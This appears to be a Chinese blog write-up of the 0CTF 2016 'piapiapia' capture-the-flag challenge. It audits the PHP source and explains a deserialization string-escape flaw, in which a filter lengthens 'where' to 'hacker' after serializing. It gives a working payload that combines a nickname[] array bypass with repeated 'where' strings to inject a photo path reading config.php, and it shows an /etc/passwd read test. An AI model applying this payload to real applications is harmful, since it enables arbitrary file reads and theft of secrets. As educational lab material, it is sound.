[0CTF 2016]piapiapia

只有一个输入框:

经过测试发现对username有长度限制,过长就invalid user。最终测出来反正和sql注入没有关系。 扫描了一下,没扫出来啥东西,不知道咋回事。但是其实是一个常见的备份目录www.zip。 下面先分析一下没有sql注入的原因: 首先是看看username和password是否存在,长度是否合适:

   if($_POST['username'] && $_POST['password']) {
     $username = $_POST['username'];
     $password = $_POST['password'];
 ​
     if(strlen($username) < 3 or strlen($username) > 16) 
       die('Invalid user name');
 ​
     if(strlen($password) < 3 or strlen($password) > 16) 
       die('Invalid password');
 ​
     if($user->login($username, $password)) {
       $_SESSION['username'] = $username;
       header('Location: profile.php');
       exit; 
     }
     else {
       die('Invalid user name or password');
     }
   }

接着我们看看login函数如下。其首先对username和password进行了过滤filter,随后查找是否有这个username,如果有的话,先取出来该项,再进行后续的md5密码验证。因此username这里是可以写入一个' or 1=1 %23的,但是似乎没啥用。

   public function login($username, $password) {
     $username = parent::filter($username);
     $password = parent::filter($password);
 ​
     $where = "username = '$username'";
     $object = parent::select($this->table, $where);
     if ($object && $object->password === md5($password)) {
       return true;
     } else {
       return false;
     }
   }
   public function filter($string) {
     $escape = array('\'', '\\\\');
     $escape = '/' . implode('|', $escape) . '/';     //组成正则表达式
     $string = preg_replace($escape, '_', $string);   //转义
     $safe = array('select', 'insert', 'update', 'delete', 'where');
     $safe = '/' . implode('|', $safe) . '/i';
     return preg_replace($safe, 'hacker', $string);

发现有注册功能,注册完之后,可以设置一些信息,属于update.php:

profile.php内容如下,可以看到photo那儿有一个file_get_contents函数可以读入文件。

 <?php
   require_once('class.php');
   if($_SESSION['username'] == null) {
     die('Login First'); 
   }
   $username = $_SESSION['username'];
   $profile=$user->show_profile($username);
   if($profile  == null) {
     header('Location: update.php');
   }
   else {
     $profile = unserialize($profile);
     $phone = $profile['phone'];
     $email = $profile['email'];
     $nickname = $profile['nickname'];
     $photo = base64_encode(file_get_contents($profile['photo']));
 ?>

经过分析,本题漏洞的核心在于序列化之后还对序列化字符串进行了修改。 ​ 首先在updata.php中有如下代码,意思是可以接受我们post传入的参数,序列化后,通过update_profile进行过滤操作。而过滤操作这里,会将序列化好的字符串进行修改,比如将select insert等字符串修改成hack。

 require_once('class.php');
   if($_SESSION['username'] == null) {
     die('Login First'); 
   }
   if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
 ​
     $username = $_SESSION['username'];
     if(!preg_match('/^\d{11}$/', $_POST['phone']))
       die('Invalid phone');
 ​
     if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
       die('Invalid email');
     
     if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
       die('Invalid nickname');
 ​
     $file = $_FILES['photo'];
     if($file['size'] < 5 or $file['size'] > 1000000)
       die('Photo size error');
 ​
     move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
     $profile['phone'] = $_POST['phone'];
     $profile['email'] = $_POST['email'];
     $profile['nickname'] = $_POST['nickname'];
     $profile['photo'] = 'upload/' . md5($file['name']);
     $user->update_profile($username, serialize($profile));
     echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
     
   public function update_profile($username, $new_profile) {
     $username = parent::filter($username);
     $new_profile = parent::filter($new_profile);
 ​
     $where = "username = '$username'";
     return parent::update($this->table, 'profile', $new_profile, $where);
   }
 ​
   public function filter($string) {
     $escape = array('\'', '\\\\');
     $escape = '/' . implode('|', $escape) . '/';
     $string = preg_replace($escape, '_', $string);
 ​
     $safe = array('select', 'insert', 'update', 'delete', 'where');
     $safe = '/' . implode('|', $safe) . '/i';
     return preg_replace($safe, 'hacker', $string);
   }

下面测试一下profile的序列化,结果如下。我们发现nickname在photo的前面,因此我们如果能将nickname对应的值进行修改,就能构造一个s:n:"xxx"出来,从而直接访问。

 <?php
     $profile['phone'] = '11';
     $profile['email'] ='22';
     $profile['nickname'] = '33';
     $profile['photo'] ='44';
     echo serialize($profile);
         // 结果:a:4:{s:5:"phone";s:2:"11";s:5:"email";s:2:"22";s:8:"nickname";s:2:"33";s:5:"photo";s:2:"44";}

知识点:这里的nickname是可以绕过的,用一个nickname[]就能轻松绕过。

     if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
       die('Invalid nickname');

整理一下流程:我们只需要传入参数,到nickname时,用数组来绕过,并且加入多个where,这时候序列化后的nickname会很长,其对应的长度也很长,然而我们的where会被过滤替换成hacker,这时候5个字符变成了6个字符。通过这种方式就可以将后面的字符逃逸出来,单独成为一个键值对。

PHP反序列化中读取字符的多少,是由表示长度的数字控制的,而且如果整个字符串的前一部分成功反序列化,字符串后面剩下的那些就会被丢弃。 因此不需要考虑最开头的a:n

     $tt = 'a:4:{s:5:"phone";s:2:"11";s:5:"email";s:2:"22";s:8:"nickname";s:3:"222";s:5:"photo";s:11:"/etc/passwd";}s:5:"photo";s:11:"/etc/passw3";}';
     var_dump(unserialize($tt));
 ///array(4) { ["phone"]=> string(2) "11" ["email"]=> string(2) "22" ["nickname"]=> string(3) "222" ["photo"]=> string(11) "/etc/passwd" }

最后payload:

 Content-Disposition: form-data; name="nickname[]"
 ​
 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

flag在config.php里,以后如果是能获得备份文件,来代码审计的,可以考虑先搜索flag字符串。

总结:在序列化后又对序列化的字符串进行操作,很容易造成反序列化字符串逃逸,形成新的键值对。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值